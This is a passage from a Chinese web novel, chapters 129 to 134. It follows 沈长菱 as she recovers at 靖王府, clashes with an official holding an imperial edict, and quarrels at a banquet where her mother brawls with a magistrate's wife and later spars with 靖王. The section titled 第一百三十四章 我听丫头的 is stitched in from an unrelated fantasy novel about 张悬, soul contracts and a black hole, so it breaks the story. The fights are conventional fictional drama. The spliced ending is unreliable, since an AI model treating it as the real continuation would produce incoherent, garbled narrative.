她只好认命地咽下那碗苦药。全身像压着千斤巨石,连眼皮都抬不起来。药汁顺着嘴角流下,被人细心地擦去。 朦胧中,她感觉有人不停地给她擦汗,换着冰凉的毛巾。耳边时而传来低声的交谈,时而是叹息声。她想睁开眼睛看看,却怎么也使不上力气。 第一百二十九章 醒了 时间在昏昏沉沉中流逝,沈长菱感觉自己像是在一片混沌中浮浮沉沉。直到某一刻,她终于感觉身上的重压渐渐消失,意识也开始清晰起来。 等她睁开眼睛时,发现自己躺在一间陌生的房间里。阳光从窗户斜斜地照进来,在地上画出一道金色的痕迹。林月正趴在床边打盹,头发有些凌乱。 她轻轻动了动手臂,林月立刻惊醒,“醒了?感觉怎么样?”她的眼睛有些发红,显然这几天没休息好。 “渴...”沈长菱刚开口,就发现嗓子干得冒烟,像是被火烤过一样。 林月连忙倒了杯茶,“慢点喝,别呛着。”她扶起沈长菱的头,小心翼翼地喂她喝水。 沈长菱一口气喝完,感觉整个人都活过来了。她环顾四周,发现这房间的陈设十分华贵,“这是在哪?” “靖王府。你爹早就把村里的人送回去了,咱们在这养几天再走。”林月一边说,一边帮她整理凌乱的头发。 话音刚落,张老就提着药箱进来了。看到沈长菱醒了,他笑道,“可算醒了,你这丫头,灌药时力气大得很啊!三个人都按不住你。” 沈长菱想起那苦药的味道,撇了撇嘴,“那药跟毒药似的,谁愿意喝啊。而且我现在不是好好的吗?” “放肆!”张老跳脚,胡子都翘了起来,“敢说我的药难喝?那就再加三副!” 沈长菱还想反驳,林月抢先道,“好好好,我看着她喝。”她朝沈长菱使了个眼色,示意她别再惹张老生气。 正说着,一群婢女端着精致的菜肴进来,摆了满满一桌。有清炖鱼翅、红烧狮子头、清蒸螃蟹,香气四溢。 “这是王妃特意吩咐的。”领头婢女说完便退下了。 张老看着那些美味,冷笑道,“你现在只能喝粥,这些可不能碰。”说完还特意看了沈长菱一眼,眼神里带着几分得意。 沈长菱翻了个白眼,这老头可真记仇。她正想说什么,突然听到外面传来一阵喧哗声。 府里突然热闹起来,仆人们来来往往,脚步声杂乱。沈长菱觉得奇怪,跟着人群往大门口走,就听见外面有人在叫嚣。 “把那个女犯人交出来!不然我就告你们谋反!” 是欧扬的声音,比之前更加嚣张。 “犯人?”靖王刀柳含雪的声音清冷悦耳,她唇角微扬,那一抹笑意让在场的百姓都看得痴了。柳含雪缓步向前,裙摆在微风中轻轻摆动,每一个动作都带着与生俱来的优雅。 “安抚使大人未免太过自以为是,这里是寒陵,不是京都,欧贵妃的名头在这里可不好使。” 柳含雪语气轻柔,却字字诛心。她的目光淡淡扫过欧扬肿胀的脸,仿佛在看一只不值一提的蝼蚁。 沈长菱看得双眼发亮,这位王妃不愧是传闻中的第一美人,说话都带着一股子凌厉劲儿。她不由得想起坊间传闻,说这位王妃曾在朝堂之上力挽狂澜,一人之力扭转了一场政治风暴。 欧扬那张肿胀的脸瞬间扭曲,眼中闪过一丝怨毒。 “靖王府确实权势滔天,但也不知是谁,一出生就被当今所嫌弃,险些被溺死。”他环视四周,冷笑着提高了声音,“前朝宫女所生的龙子,这名头确实响亮。” 周围的百姓倒吸一口冷气,纷纷低声议论起来。有人面露惊恐,有人幸灾乐祸,更多的人则是一脸八卦之色。 沈长菱听得目瞪口呆,这是什么天大的八卦?她悄悄打量着柳含雪,只见王妃神色平静,眼底却闪过一丝寒意。 “来人,这家伙在王府门口口出狂言,对王爷不敬,押入水牢!”柳含雪的声音依旧平静,却带着不容置疑的威严。 府中侍卫蜂拥而上,将欧扬带来的人团团围住。刀剑出鞘的声音此起彼伏,空气中弥漫着剑拔弩张的气氛。 “王妃明鉴,下官所言句句属实。”欧扬冷笑,额头上的汗珠在阳光下闪着光,“我奉皇命而来,你们若敢动手,后果自负!” 柳含雪面无表情,“带走。” 欧扬猛地从怀中掏出一道明黄色的圣旨,丝绸在阳光下泛着耀眼的光芒,“我倒要看看,谁敢!” 周围的百姓和府中下人纷纷跪地,整条街道瞬间安静下来,只剩下微风吹过的声音。 沈长菱站在角落里,脑子还没反应过来,突然对上了欧扬阴狠的目光。那张猪头般的脸让她脑中闪过昨日的画面——她揪着一个人的衣领,拳头不断落下,周围传来惊呼声和求饶声。 糟了。 沈长菱暗叫不好,这不就是昨天被自己揍的那位么?她下意识摸了摸自己的拳头,还能感受到昨天打人时的酸痛。 “拿下她!”欧扬尖声喝道,声音中带着报复的快意。 几个侍卫拔刀冲来,刀光在阳光下闪烁。沈长菱活动了下手腕,嘴角勾起一抹不屑的笑,“大家有话好说,何必动刀动枪?” “你今日若敢动手,就是死罪!”欧扬举着圣旨威胁,脸上的肿块随着说话一抖一抖。 沈长菱眼中闪过一丝寒意,她想起了那些被冤枉的族人,想起了那些无辜惨死的亲人,“那就让我死得其所。” 她一个闪身,动作快如闪电,折断了最近那人的手腕。惨叫声响起的同时,她已经夺过长剑,剑光如流星般划过,将冲上来的侍卫一一击退。 看热闹的百姓看得兴奋,不时发出喝彩声。有人甚至开始打赌她能撂倒几个人。 “刁民!见到圣旨就像见到皇上,你竟敢行凶,诛你九族!”欧扬气得浑身发抖,脸上的肿块更加狰狞。 沈长菱听到“诛九族”三个字,眼神骤然冰冷。记忆如潮水般涌来,流放路上,多少无辜的族人命丧黄泉,都是这该死的连坐之罪! 她手中的剑越发凌厉,每一剑都带着刺骨的寒意。侍卫们节节败退,有的已经吓得扔下武器逃跑。 就在这时,一道剑光闪过,如惊雷般劈开了混乱的战场。司马澜和萧继昂带人赶到,龙骧军的旗帜在风中猎猎作响。 第一百三十章 背我回去 “澜儿,这事就交给你处理了。母妃还有客人要招待,就先回去了。”她的语气温和了几分,眼角眉梢都带着对儿子的信任。 司马澜眼底闪过一丝担忧,他下意识地向前迈了一步,似乎想要搀扶母亲,却又生生止住。“母亲请放心,这点小事儿子自会处理妥当。” 柳含雪微微颔首,目光转向一旁的沈长菱。她的语气忽然带了几分娇嗔,与方才的凌厉判若两人,“愣着做什么,还不把我背回去?” 沈长菱一愣,下意识指了指自己的鼻子,“我?”她环顾四周,似乎在确认王妃是不是在和别人说话。 “不然呢?”柳含雪挑眉,眼中带着几分戏谑,“难不成要让本王妃自己走回去?” 沈长菱倒也干脆,二话不说就蹲下身子。她小心翼翼地托住柳含雪,将人稳稳背起。一阵淡雅的香气萦绕在鼻尖,像是初春的梨花香,又似晚秋的桂花香。 “王妃好轻。”沈长菱忍不住轻轻颠了颠,心里暗想,这体重还不及自己那根棍子重。 欧扬见状,双目赤红,怒吼道,“站住!你们杀了我的......”他的声音嘶哑,带着浓浓的恨意。 话未说完,萧继昂已拦在他面前。他身着戎装,腰间佩剑,一身煞气尽显无遗,“欧大人,我们找你半天,原来你在这儿。边关这地方,我们当兵的粗人不懂规矩,要是一个不小心伤着您,那可就不好了。” 萧继昂的话语看似客气,实则暗含威胁。欧扬环顾四周,萧继昂的人马已占据半条街,刀光剑影间尽是杀气。而他身边不过十几个随从,这般悬殊的实力对比,他心知不能硬来。 “找我何事?”欧扬咬牙切齿地问,指甲深深陷入掌心。 萧继昂笑眯眯地搭上他的肩,“没什么大事,就是想和您聊聊......”说着,他朝司马澜使了个眼色,便强行拉着欧扬往府衙方向走去。 沈长菱背着王妃穿过重重庭院,来到后院时,眼前的景象让她惊叹不已。整个后院焕然一新,长廊上悬挂着精致的灯笼,檐角挂着风铃,随风叮咚作响。地上摆放着各式各样的盆景,一路延伸至花厅。院中还多了假山和凉亭,纱帘随风轻舞,宛如仙境。 花厅内更是热闹非凡,各家夫人盛装出席,头上的珠钗首饰璀璨夺目。有的穿着绣着牡丹的褙子,有的着一身淡雅的素衣,各有风姿。 沈长菱刚踏入花厅,原本的欢声笑语戛然而止。空气仿佛凝固了一般,众人的目光齐刷刷地落在她身上。 “随便找个地方把我放下就行。”柳含雪轻声道,语气中带着几分疲惫。 沈长菱找了个空位,小心地将王妃放下。她的动作轻柔,生怕碰疼了王妃。 “怎么都不说话了?”柳含雪笑着打破沉默,“都成哑巴了?这可不像你们平日里的样子。” 一位身着霜红色褙子的夫人爽朗一笑,打破了尴尬的气氛,“方才还担心外面的事,见王妃平安回来就放心了。只是没想到王妃还带回来这么个俊俏的小娘子,不知是哪家的姑娘?” 众人的目光纷纷落在沈长菱身上,带着好奇与探究。有人打量她的衣着,有人暗自议论她的来历,更有人对她与王妃的关系产生了猜测。 “她啊,”柳含雪淡淡一笑,“是我的一位小友。别看她年纪轻轻,身手可不简单。你们该玩什么玩什么,别吓着人家。”她的语气中带着几分维护,让沈长菱心中一暖。 转头对沈长菱道,“去阁楼那边玩吧,都是和你差不多大的姑娘。晚上和你娘一起用膳。” 沈长菱点头应下,跟着侍女往阁楼走去。一路上,她能感受到身后投来的各种目光,有好奇的,有探究的,也有不屑的。 推开阁楼的门,眼前的一幕让她愣住了。 两个少女正在撕打,一个穿红衣,一个着蓝裙,互相揪着对方的头发,谁也不肯松手。她们的脸上都带着怒气,发髻早已散乱。周围的人想劝架,却被波及得连连后退,场面一片混乱。 “我真不是故意的!”蓝衣少女气喘吁吁地辩解,眼角泛红,似是委屈得要哭出来。 红衣少女怒道,“放屁!你就是嫉妒我在王妃面前露脸,故意把我的花盆摔了!那可是我精心培育了大半年的兰花!”她的声音尖利,带着浓浓的恨意。 “不就是一盆花而已吗?我赔你就是了!”蓝衣少女的话音刚落,就看见红衣少女的脸色更加难看。 这话像是火上浇油,红衣少女一把推开周围劝架的人,抄起一盆花就要往对方头上砸。花盆在空中划出一道弧线,眼看就要砸在蓝衣少女头上。 沈长菱眼疾手快,一把抓住了那只即将砸下的手。花盆在阳光下投下一片阴影,沉甸甸的分量透过掌心传来,她能感受到其中蕴含的杀意。 庭院里一片寂静,连风都停止了流动。 “砸人可不是闹着玩的。”她语气平淡,目光却锐利如刀,“这花盆怕是有七八斤重,砸下去怕是要见血。” 红衣少女陈清韶显然没料到会有人拦住她,一时间愣在原地。 “放手!”回过神的陈清韶开始剧烈挣扎,裙袖在空中划出一道弧线,“这是我们的事,轮不到外人插手!” 沈长菱不紧不慢地夺过花盆,动作轻柔地放在石桌上。瓷盆里的兰花随着动作轻轻摇曳,花瓣上的露珠折射着晨光。 “这么漂亮的花,”她轻抚花瓣,“砸坏了多可惜。” 周围的少女们悄悄松了口气,纷纷用好奇的目光打量着这个突然出现的陌生人。她们的裙裾轻轻摆动,像一群受惊的蝴蝶。 那个蓝衣少女赶紧躲到沈长菱身后,还不忘冲陈清韶做个鬼脸。她的动作带起一阵淡淡的香气,是年轻女子常用的茉莉香。 “你!”陈清韶被这挑衅的动作激怒,玉簪随着她剧烈的动作而晃动,发出清脆的声响,“你算个什么东西?” 她抬手就要扇沈长菱耳光,指尖的宝石戒指在阳光下闪着冷光。 沈长菱眼神一冷,啪地一声打开她的手。清脆的响声在庭院中回荡,惊起了树上的麻雀。 她转身走向放刀的架子,木质地板在她脚下发出轻微的咯吱声。刀架上摆放着各式各样的刀具,有用来修剪花枝的园艺刀,也有用来裁剪绸缎的裁刀。 她抽出一把明晃晃的刀,刀刃在阳光下反射出刺眼的光芒。 “天啊!”周围的少女惊呼,有人下意识地后退几步,裙摆摩擦发出窸窸窣窣的声响。 有胆大的想上前阻拦,却被沈长菱轻轻推开。她的力道不重,但足以让人知道她的决心。 第一百三十一章 你疯了 她拿着刀走到陈清韶面前,强行把刀塞进对方颤抖的手里,同时一把拽过那个蓝衣少女。少女的手腕纤细,像是稍一用力就会折断。 “你不是想干掉谁吗?”沈长菱嘴角勾起一抹冷笑,眼神中带着几分戏谑,“用花盆多没意思,来,用刀!对着脖子砍,用力点!” 她的声音轻描淡写,却让人不寒而栗,“一刀下去,血能喷三尺远,那场面,啧啧...” 陈清韶手抖得厉害,脸色煞白如纸。阳光下,她精心描画的妆容也掩饰不住她的惊恐。 蓝衣少女萧飞雁吓得哇哇大哭,泪水打湿了她精致的妆容,“你疯了吗?我又没惹你!” 陈清韶尖叫一声,赶紧把刀扔在地上。刀身撞击地面发出清脆的声响,在寂静的庭院中格外刺耳。 沈长菱看着两个被吓得发抖的小姑娘,心里暗笑。这些养在深闺的大小姐,终究是经不起吓。 她悠哉地找了个位置坐下,开始品尝桌上的糕点。糕点精致可人,入口即化,带着淡淡的桂花香。 陈清韶和萧飞雁目瞪口呆地看着她。从来没人敢这么无视她们,更没人敢在她们面前如此放肆。 陈清韶气势汹汹地走到沈长菱面前,一把扫落她手中的糕点,“说!你爹娘是谁?” 糕点落在地上发出闷响,几块玉白色的点心滚落在地,沾上了泥土。 沈长菱看着掉在地上的糕点,眉头微皱,“浪费。” “哼!”陈清韶抬起绣花鞋,恶意地踩碎那些糕点,“我问你话呢!” 她伸手推了沈长菱一把,动作带着十足的傲慢。 萧飞雁虽然对沈长菱有些不满,但看到这一幕也皱起眉头,“陈清韶,你太过分了。”她的声音里带着几分不赞同。 沈长菱突然出手,动作快如闪电。她一把扣住陈清韶的手腕,反手一扭。 “啊!”陈清韶疼得脸色发白,额头上渗出细密的汗珠。 “我数到三,”沈长菱声音冰冷,像是冬日的寒风,“把糕点捡起来。” “不捡!”陈清韶倔强地说,但声音已经带上了哭腔。 “一。”沈长菱加重了手上的力道。 “二。”她的声音依旧平静,但手腕上的力道又加重了几分。 陈清韶终于崩溃大哭,一边哭一边捡起地上的糕点。她精心打理的发髻有些散乱,脸上的妆容也花了。 其他少女看得目瞪口呆,有人捂住嘴巴,有人悄悄议论。 陈清韶捡完后,捂着手腕怒视沈长菱,“贱人!你给我等着!” 她哭着跑出去告状。 几个跟她要好的少女也跟着离开。剩下的人反而对沈长菱更感兴趣了,纷纷围拢过来。 “你叫什么名字?”有人问道,声音里带着好奇。 沈长菱微笑,“沈长菱。”她的声音温和,与方才的冷厉判若两人。 萧飞雁拉着一个圆脸姑娘坐过来,“我是萧飞雁,这是柳望月。”她似乎已经忘记了方才的不愉快。 “我叫李沁梅...”其他少女也纷纷报上名来。 她们七嘴八舌地聊起来,说起靖王妃每年都会举办的寒梅宴。这宴会原本是为了选出好的花种进贡京城,今年却不知怎的,传出消息说这次宴会还要为世子选妃。 陈清韶为了得到世子妃的位置,这才与萧飞雁起了冲突。 “你等下有大麻烦了哦!”萧飞雁笑嘻嘻地凑到沈长菱耳边,发丝轻轻扫过沈长菱的脸颊,“陈清韶可是太守家的掌上明珠呢!她从小被宠坏了,谁要是惹她不高兴,她爹娘都得跟人拼命。” 沈长菱不以为然地挑了挑眉,手指无意识地摩挲着袖口的绣花。 “太守夫人以前是练家子,性子泼辣得很。”柳望月坐在窗边的软榻上,一边绣着帕子一边小声提醒道,“去年有个商户的女儿不小心碰了陈清韶一下,差点被打断腿。” 李沁梅也跟着说,“陈夫人最是护短,你可要当心。她那身功夫,连男人都打不过她。”说着,不自觉地缩了缩脖子,仿佛想起了什么不愉快的回忆。 沈长菱淡然一笑,“多谢提醒。”她的目光落在地上的狼藉上,眼底闪过一丝不易察觉的冷意。 “谁提醒你了!”萧飞雁嘟着嘴,一脸不满地跺了跺脚,“我才没有关心你呢!你要是被打了,那是活该!” 其他人相视一笑,谁也没有戳破萧飞雁关心的小心思。 不多时,一阵急促的脚步声从楼梯传来。伴随着绫罗绸缎的窸窣声,一群夫人浩浩荡荡而来。她们的脸上带着看热闹的兴奋,却又要维持着贵妇应有的矜持。 柳含雪被婢女搀扶着,面无表情地坐在一旁。她穿着一身淡青色的褙子,手中把玩着一串檀香珠,眼神淡漠地看着这一切。 陈清韶跟在人群中,眼泪汪汪,梨花带雨。她的裙摆沾了些许泥土,更添几分楚楚可怜。 少女们纷纷起身行礼,各自站到自家长辈身边。有的低着头不敢说话,有的则交头接耳,窃窃私语。 沈长菱独自而立,在这群锦衣华服的贵妇小姐中显得格外孤单。她的衣裳虽然整洁,却难掩布料的粗糙。 一位身着霜红色褙子的妇人大步走到沈长菱面前,目光如炬,“就是你欺负我女儿?”她的声音尖利刺耳,带着几分盛气凌人。 沈长菱打量着这位陈夫人,注意到她虽然穿着华贵,但举手投足间透着一股子市井气息。她不慌不忙道,“第一,我没有欺负她。是她要用花盆砸人,要不是我拦着,那人怕是已经没命了。” “第二,我正坐在那里吃糕点,她毫不犹豫地把我的东西扫到了地上。我去捡的时候,她还故意踩碎。外头百姓刚遭了灾,还在挨饿,她居然在这里浪费粮食。” 周围夫人听罢,不由得蹙眉。有几个年长的夫人交换了一个意味深长的眼神,显然对陈清韶的行为颇为不满。 “不就是几块儿破糕点嘛!”陈清韶怒道,声音里带着几分娇纵,“关那些人什么事!你打我这事没完!”。 柳含雪的脸色沉了下来,手中的檀香珠发出清脆的碰撞声。 “打就打了!我丫头也是你能碰的?看你是没人管教!”陈夫人撸起袖子就要动手,露出手腕上的青色脉络。 就在这千钧一发之际,一声怒喝响彻阁楼,“我看谁敢!” 林月气喘吁吁地冲了进来,她的头发有些凌乱,脸上还带着汗珠。显然是一路跑上来的。 她一把推开挡路的人,看到陈夫人要打自己女儿,二话不说就冲了上去。 “你个不要脸的!趁我不在欺负我丫头?看老娘不打死你!”林月的声音中带着浓浓的乡音,却透着一股子狠劲。 林月一把抓住陈夫人的头发,另一只手狠狠甩了两个耳光。清脆的巴掌声在阁楼里回荡,惊得众人倒吸一口凉气。 第一百三十二章 捶死你 陈夫人从未受过这等羞辱,顿时暴怒,运起功夫还手。她的动作干净利落,显然是经过专业训练的。 两个女人瞬间扭打在一起,发簪掉落,发髻散乱。周围的人连忙躲开,生怕被波及。 满屋子的贵妇小姐都看呆了。有人捂着嘴惊呼,有人躲在角落里瑟瑟发抖,还有人兴奋地看着这场闹剧。 陈夫人越打越心慌,这农妇的力气竟然这般大。一个不察,整个人就被林月举过头顶。她的脸涨得通红,又惊又怒。 “敢欺负我丫头,我捶死你!”林月将人重重摔在地上,骑在她身上就是一顿拳打。她的动作虽然粗鲁,但每一下都打在要害上。 “娘,别下重手!”沈长菱连忙劝阻,她知道自己娘亲的力气有多大。 林月这才收了几分力道,但依旧死死压制着陈夫人。 “你敢打我娘!”陈清韶红着眼睛冲上来抓林月的头发,指甲在林月脸上留下几道血痕。 沈长菱见状也加入战局,她虽然不想打架,但也不能看着娘亲吃亏。 “娘,是我不小心打翻了陈清韶的花,她想用花盆砸我,沈姑娘才出手制止的。”萧飞雁焦急地拉着母亲的袖子,生怕母亲误会。 萧夫人脸色一变,“这小蹄子敢砸我女儿?看我不教训她!”说着也加入了混战。 整个阁楼乱作一团,衣裙翻飞,尖叫声此起彼伏。地上的茶具被打翻,茶水混合着泥土,将地面弄得一塌糊涂。 柳含雪看得好笑,对婢女道,“不用叫人来拉,让她们打个痛快。给我捶捶腿。”她悠闲地靠在软榻上,仿佛在看一场精彩的戏。 司马澜带着沈丰年来找沈长菱时,看到这场面都傻了。他们站在门口,一时不知该进还是该退。 “都住手!”柳含雪突然摔碎了茶杯,清脆的声响让所有人都愣住了。 林月拉着沈长菱得意洋洋地站起来,衣裳虽然凌乱,但气势不减。一眼看到沈丰年,“她爹!我们在这儿!”她的声音里带着几分兴奋,仿佛刚才打架的不是她一样。 沈丰年头疼地走过去,“又跟人打起来了?”他的语气无奈,显然已经习惯了妻子的性格。 “那婆娘要欺负你丫头,我能忍?”林月理直气壮地说,完全没有在贵妇人面前失态的自觉。 “谁这么无耻?”沈丰年皱眉问道。 “就她!”林月指着狼狈不堪的陈夫人,脸上带着胜利的笑容。 沈丰年一看对面这挂彩的母女二人,火气消了大半,装作没看见一般扭过头去。他的目光落在大厅角落的青铜香炉上,炉中的檀香缓缓升起,似乎想要冲淡这剑拔弩张的氛围。 司马澜的突然到来让陈清韶眼前一亮,她下意识地想要整理仪容,但随即想到自己此刻的狼狈模样,慌忙躲到了他人身后。 可惜司马澜连看都没看她一眼,他的目光径直越过人群,落在了沈长菱身上。 “外面的事情都处理好了?”柳含雪慵懒地靠在锦榻上,目光在人群中扫过。她的手指有一下没一下地敲击着扶手,暗自盘算着各家的实力对比。 “回王妃,儿子带着沈先生来找人。”司马澜的视线在沈长菱身上停留了片刻,眼神中带着几分探究。 这一幕落在陈清韶眼中,让她心中的怨恨更深了几分。她的指甲几乎要掐进掌心,脸上却还要强撑着得体的微笑。 沈丰年察觉到气氛不对,连忙对柳含雪拱手道,“王爷那边还有要事找小女,不知可否让我们先行告退?”他的额头已经渗出细密的汗珠,显然是被这场面弄得心神不宁。 柳含雪嘴角微扬,眼中闪过一丝玩味。这沈家人倒是有趣,说得好像她这宴会就是在耽误正事似的。她慢条斯理地用帕子擦了擦手指,才开口道,“去吧。” 沈丰年如蒙大赦,赶紧拉着妻女往外走。林月还想说什么,被他一个眼神制止了。 司马澜看了眼混乱的场面,也躬身告退。他的身影很快消失在回廊尽头,只留下一串清脆的脚步声回荡在庭院中。 陈夫人气得脸色铁青,但碍于王妃和世子在场,只得强忍下这口气。她的手指死死掐住扇柄,仿佛要把那精致的象牙扇子捏碎。 “爹,王爷真的找我?”出了门,沈长菱好奇地问道。她的声音里带着几分狡黠,显然已经猜到了几分。 沈丰年白了她一眼,“那是借口,不然你们还不知道要吵到什么时候。”说着,他又叹了口气,“你娘这脾气...” 沈长菱恍然大悟,朝父亲竖起大拇指,“爹爹高明!”她的眼睛弯成了月牙,显然心情不错。 沈丰年的得意还没持续两秒,就又叹了口气,“我们家不比那些官宦人家,若是他们报复起来...”他的眉头紧锁,显然是在为今后的麻烦发愁。 林月握紧拳头,理直气壮道,“官再大,能大过我这拳头?”她活动了下手腕,一副随时准备再打人的架势。 沈丰年看着妻子这副模样,不由苦笑。他们一家人走在回廊上,影子被夕阳拉得老长。 “爹,我觉得那位太守看起来不像是那种人。”沈长菱安慰道,“再说现在说这些还太早了。”司马澜很快追了上来,他的脚步声打破了这短暂的宁静,“你们这次表现得很好,从蛮子手里夺回这么多骏马,父王说要记你们一功。” 沈长菱对这些并不在意,反而问道,“我们回来后,蛮子可有追来?”她的眼中闪过一丝担忧。 “追?”司马澜冷笑一声,“他们一眼瞧见城门就飞奔而去,哪有这个胆量?”说到这里,他的脸色阴沉下来,显然是想起了上次的事。 那次蛮族突袭边境,掳走了不少妇孺。 “那些女人和孩子怎么安置的?”沈长菱问道。她的声音很轻,生怕触动什么伤心事。 司马澜的脸色更难看了,“有些回家了,有些还在安置,孩子们可能会送去慈幼堂。”他的拳头不自觉地握紧,指节发出轻微的响声。 沈长菱心中了然,那些女子的遭遇确实令人同情。 四人一路无言,穿过几进院落,终于将沈长菱送回了静养的小院。 沈丰年见气氛低沉,连忙转移话题,“王爷表示那些马匹得上缴,会给补偿,牛羊可以选择卖给官府或自己处理,你觉得该怎么办?” 沈长菱看了眼司马澜,直接问道,“官府现在有钱吗?”她的语气很随意,但话里的意思却让人难以忽视。 司马澜顿时恼羞成怒,“你这是什么意思?”他的脸涨得通红,显然是被戳中了痛处。 “就是单纯问问。”沈长菱摊手,心中已经明白了答案。边境连年征战,再加上今年干旱,官府的库房怕是早就空了。 第一百三十三章 不必客气 她朝父亲使了个眼色,沈丰年立刻会意。 “咳咳,我们已经麻烦王府够多了,牛羊的事情就不麻烦官府了。”他的语气谦和,却暗含着几分机智。 司马澜听了这话,脸色好看了些,“遇到麻烦尽管来找我。”他的语气中带着几分傲气,却也有几分真诚。 “多谢世子。”沈丰年连声道谢,眼角的皱纹都笑开了花。 司马澜挺直胸膛,“我们也算熟人了,以后有事尽管开口。”他的目光在沈长菱身上停留了一瞬,又若无其事地移开。 “那就先谢过了。”沈长菱敷衍地应道。她对这种场面话向来提不起兴趣。 “不必客气。”司马澜带着几分矜持离开了。 这时,王府的婢女来传话,王爷和王妃叫他们过去。 沈丰年心情沉重地带着妻女前去。一路上,他的脚步都有些沉重,生怕又出什么变故。 谁知靖王一见面就把一把长戟扔给了林月和沈长菱。那长戟通体乌黑,寒光闪闪,显然是把好武器。 “拿着这个,朝我攻击!”靖王的声音中带着几分兴奋,完全不像个养尊处优的王爷。 林月被他这举动激怒了,“你自找的,别怪我不客气!”她提起长戟就朝靖王刺去,招招都是实打实的杀招。 “月娘!”沈丰年吓得魂飞魄散,额头的冷汗瞬间就下来了。 柳含雪坐在一旁,拍了拍身边的椅子,“别慌,如果你夫人能赢,宴会的事就一笔勾销。”她的语气轻松,仿佛在说一件微不足道的小事。 “当真?”沈丰年不敢相信,这样的好事怎么会轮到他们头上。 “自然。”柳含雪的嘴角勾起一抹神秘的笑容。 司马澜目不转睛地盯着场中二人,眼中闪烁着兴奋的光芒。 校场上,长戟舞动,虎虎生风。 林月虽未专门习过长戟,但凭着一身蛮力,竟也使得虎虎生威。她那高大的身形在阳光下投下一片阴影,每一次挥舞都带起一阵劲风,让人不由自主地后退。 “好!”沈长菱看得眼前一亮,双手紧握栏杆,身体不自觉地前倾。她从未见过自己的母亲如此威风凛凛的模样,那股子野性的气势,竟让她看得心潮澎湃。 靖王站在场中,眼中闪过一丝玩味。多年征战,他早已看出林月不过是凭着一股蛮劲在舞弄长戟。那些招式虽然看似凌厉,实则漏洞百出。他的目光在林月身上游移,仿佛在寻找最佳的进攻时机。 长戟直刺而来,靖王单手一探,稳稳扣住戟杆。他的动作看似轻描淡写,实则暗含玄机。 “喝!”林月一声大喝,双臂发力。她的面庞因用力而涨得通红,额头上的青筋清晰可见。 靖王竟被这股巨力推得连退数步,心中暗惊。他虽知这农妇力大,却未料竟胜他许多。脚下踉跄,险些失去平衡。这一刻,他仿佛看到了当年在战场上那些彪悍的蛮族勇士。 不敢硬拼,靖王身形一闪,飞起一脚踢向长戟。他的动作干净利落,毫不拖泥带水。 “娘,左边!他要攻你左边!”沈长菱坐不住了,跳起来大喊。她的声音里带着焦急,生怕母亲在这场比试中落了下风。 司马澜瞪了她一眼,眉头微皱,“你这是作弊。” “你也可以指点啊。”沈长菱白了他一眼,继续喊道,“弯腰!戳他小腿!”她的声音在校场上回荡,引得旁观的侍卫们纷纷侧目。 场中两人你来我往,战得正酣。长戟与长戟相撞,发出清脆的金属撞击声。两人的身影在阳光下交错,宛如一场精心编排的舞蹈。 靖王渐渐找到了林月的破绽——力大招拙,招式单一。每次出手都是大开大合,虽然气势惊人,但却缺乏变化。他嘴角微扬,攻势陡然凌厉起来。 “左闪!攻他腋下!”沈长菱的声音已经有些嘶哑。 “横劈!攻他腰部!”她急得直跺脚,恨不得自己冲上去帮母亲一把。 沈长菱急得直跺脚。她的母亲向来战无不胜,今日若是输了,那可真是奇耻大辱。可惜她的武学经验实在有限,指点也帮不了多少。 眨眼间,林月手中长戟已被夺去,顶在了她的脖子上。冰凉的金属触感让她不由得打了个寒战。 “你输了。”靖王淡淡道,语气中带着几分得意。 林月瞪大了眼睛,一时难以置信。她甚至没看清对方是如何出手的。那双粗糙的手还保持着握戟的姿势,却已经空无一物。 “你、你这是仗着我没练过武!”林月涨红了脸,不服气地嚷道,“要是我也练过,你绝对打不过我!”她的声音里带着几分委屈,更多的是不甘。 靖王大笑,“事实就是你输了。”他的笑声爽朗,却让林月更加恼火。 “再来!”林月怒气冲冲地抱起一旁的武器架。那架子上摆满了各式兵器,沉重得很,却被她轻松举起。 沈丰年吓得直冒冷汗,“月娘,冷静啊!”他的声音里带着哀求,生怕妻子一时冲动惹出什么祸事。 沈长菱刚要上前,被司马澜拦住,“不急。”他的眼中闪过一丝笑意,似乎对这场闹剧很是感兴趣。 她转头看向靖王妃,只见柳含雪正悠然饮茶,看到林月扛起武器架时还鼓掌叫好。那优雅的姿态与眼前的混乱形成鲜明对比。 数十招后,林月再次败下阵来。这一次,她的呼吸更加急促,额头上的汗水已经打湿了发丝。 “哈哈,又输了!”靖王的笑声中带着几分戏谑。 “再来!”林月倔强地站起身,尽管双腿已经有些发软。 就这样,两人在校场上足足打了一个时辰。周围的侍卫们看得目瞪口呆,没想到一个农妇竟能与靖王过这么多招。 最后,林月累得瘫坐在地上,胸口剧烈起伏,“不打了...我认输...”她的声音里带着疲惫,却依旧倔强。 “服不服?”靖王笑问,递上一块手帕。 “不服!”林月倔强地回道,却接过手帕擦了擦汗。 柳含雪见状,忙吩咐下人摆饭,“有什么话,不如边吃边说。”她的声音温柔,却带着不容置疑的威严。 沈长菱和沈丰年对视一眼,都从对方眼中看到了担忧。这顿饭,怕是不好消化啊。空气中弥漫着一股说不清道不明的紧张感。 饭厅内,八菜一汤已经摆好。精致的餐具上映着烛光,散发出诱人的香气。林月一坐下,就被香气勾去了魂魄。 “请用餐。”柳含雪微笑道,亲自为林月布菜。 林月也不客气,端起碗就开始狼吞虎咽。那架势,仿佛方才的比试消耗了她全部的体力。靖王的吃相也好不到哪去,看来是真饿了。 沈丰年见状,也赶紧低头扒饭,心想着早点吃完早点走。他的动作小心翼翼,生怕失了礼数。 第一百三十四章 我听丫头的 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 